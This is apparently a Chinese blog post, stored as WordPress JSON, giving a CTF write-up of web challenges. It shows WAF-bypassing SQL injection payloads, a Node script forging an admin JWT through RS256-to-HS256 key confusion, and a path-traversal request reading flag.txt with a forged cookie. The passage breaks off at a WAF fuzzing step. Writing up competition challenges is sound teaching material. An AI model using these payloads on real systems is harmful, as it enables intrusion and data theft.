{"id":29,"date":"2025-12-30T09:34:13","date_gmt":"2025-12-30T01:34:13","guid":{"rendered":"https:\/\/blog.miren.baby\/?p=29"},"modified":"2025-12-30T10:22:38","modified_gmt":"2025-12-30T02:22:38","slug":"ciscn%e9%95%bf%e5%9f%8e%e6%9d%af%e9%93%81%e4%ba%ba%e4%b8%89%e9%a1%b9web%e9%83%a8%e5%88%86%e9%a2%98%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/blog.miren.baby\/index.php\/2025\/12\/30\/ciscn%e9%95%bf%e5%9f%8e%e6%9d%af%e9%93%81%e4%ba%ba%e4%b8%89%e9%a1%b9web%e9%83%a8%e5%88%86%e9%a2%98%e8%a7%a3\/","title":{"rendered":"CISCN\u957f\u57ce\u676f\u201c\u94c1\u4eba\u4e09\u9879\u201dweb\u90e8\u5206\u9898\u89e3"},"content":{"rendered":"\n

AI_WAF<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u641c\u7d22\u6846sql\u6ce8\u5165\uff0c\u6709WAF\u5c1d\u8bd5\u7ed5\u8fc7<\/p>\n\n\n\n

\u4f7f\u7528\u7279\u6b8a\u6ce8\u91ca\u7ed5\u8fc7<\/p>\n\n\n\n

\u5217\u5e93\u540d<\/p>\n\n\n\n

' \/*!50000union*\/ \/*!50000select*\/ 1,2,group_concat(schema_name) from information_schema.schemata#<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5217\u8868\u540d<\/p>\n\n\n\n
' \/*!50000union*\/ \/*!50000select*\/ 1,2,group_concat(table_name) from information_schema.tables where table_schema='nexadata'#<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5217\u5b57\u6bb5<\/p>\n\n\n\n
' \/*!50000union*\/ \/*!50000select*\/ 1,2,group_concat(column_name) from information_schema.columns where table_schema='nexadata' and table_name='where_is_my_flagggggg'#<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7206\u6570\u636e<\/p>\n\n\n\n
' \/*!50000union*\/ \/*!50000select*\/ 1,Th15_ls_f149,3 from where_is_my_flagggggg#<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Deprecated<\/strong><\/h2>\n\n\n\n
2025 \u957f\u57ce\u676f final\u539f\u9898
https:\/\/asal1n.github.io\/2025\/05\/04\/2025%20CCB%20final\/index.html<\/u><\/a><\/p>\n\n\n\n
\u6ce8\u518c\u4e24\u4e2a\u6d4b\u8bd5\u7528\u6237\uff0cjwt\u4f7f\u7528hs256\u52a0\u5bc6<\/p>\n\n\n\n
canxue\/canxue <\/p>\n\n\n\n
jwt:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhbnh1ZSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY5MTE3NTN9.Tv_BKABXfcr8GkncJ5MzZb4ARyxGyTWCNo1A43ysaWmby4_oBtbyQKo2LympmVU9Az0LupBG614Df0EvJbkaR0aLP59s32UsmnTNdi2Z1dcIHkTvRcMf08UEhItkRVla8FyjZ3MfqymQdAY4xolN78BfKZ65NcjVcQzWS655TFI<\/code><\/pre>\n\n\n\n
canxue1\/canxue1 <\/p>\n\n\n\n
jwt:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhbnh1ZSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY5MTE3NTN9.Tv_BKABXfcr8GkncJ5MzZb4ARyxGyTWCNo1A43ysaWmby4_oBtbyQKo2LympmVU9Az0LupBG614Df0EvJbkaR0aLP59s32UsmnTNdi2Z1dcIHkTvRcMf08UEhItkRVla8FyjZ3MfqymQdAY4xolN78BfKZ65NcjVcQzWS655TFI<\/code><\/pre>\n\n\n\n
jwt_forgery.py\u751f\u6210\u516c\u94a5\u4f2a\u9020<\/p>\n\n\n\n
\u5de5\u5177\u5730\u5740https:\/\/github.com\/silentsignal\/rsa_sign2n\/tree\/release\/standalone<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u4f2a\u9020\u7684\u516c\u94a5\u751f\u6210\u65b0\u7684jwt\uff0c\u4f2a\u9020admin\u8eab\u4efd<\/p>\n\n\n\n
const jwt = require('jsonwebtoken');\n\nconst fs = require('fs');\n\nconst publicKey  = fs.readFileSync('.\/ca085047f0350cfe_65537_x509.pem', 'utf8');\n\ndata={\n\n    username: \"admin\", priviledge:'File-Priviledged-User'\n\n}\n\ndata = Object.assign(data);\n\nconsole.log( jwt.sign(data, publicKey, { algorithm:'HS256'}))<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Checkfile\u8def\u7531\u5b58\u5728\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
GET \/checkfile?file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=..\/..\/..\/..\/..\/..\/..\/..\/flag.txt&file[]=.&file[]=log HTTP\/2\n\nHost: eci-2ze5wy6f3wurhh3ana2k.cloudeci1.ichunqiu.com:8080\n\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko\/20100101 Firefox\/146.0\n\nAccept: *\/*\n\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n\nAccept-Encoding: gzip, deflate, br, zstd\n\nReferer: https:\/\/eci-2ze3ymn03r0izvpl09t4.cloudeci1.ichunqiu.com:8080\/\n\nCookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1760260874; session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZSI6IkZpbGUtUHJpdmlsZWRnZWQtVXNlciIsImlhdCI6MTc2NjkxMTg0Nn0.s_fTpxX544gcetNp840jAyN04LGhfUWRubURv19a1as\n\nSec-Fetch-Dest: script\n\nSec-Fetch-Mode: no-cors\n\nSec-Fetch-Site: same-origin\n\nPragma: no-cache\n\nCache-Control: no-cache<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
EzJava<\/strong><\/h2>\n\n\n\n
\u767b\u5f55\u754c\u9762,\u4f7f\u7528\u8d26\u53f7admin \u5bc6\u7801admin123\u5f31\u53e3\u4ee4\u767b\u5f55\u8fdb\u540e\u53f0<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9884\u89c8\u529f\u80fd,${now}\u53ef\u4ee5\u89e3\u67907*7\uff0c\u5b58\u5728SSTI\uff0cSpEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6ce8\u5165<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
FUZZ\u6d4b\u8bd5waf\u89c4\u5219\uff1a<\/p>\n\n\n\n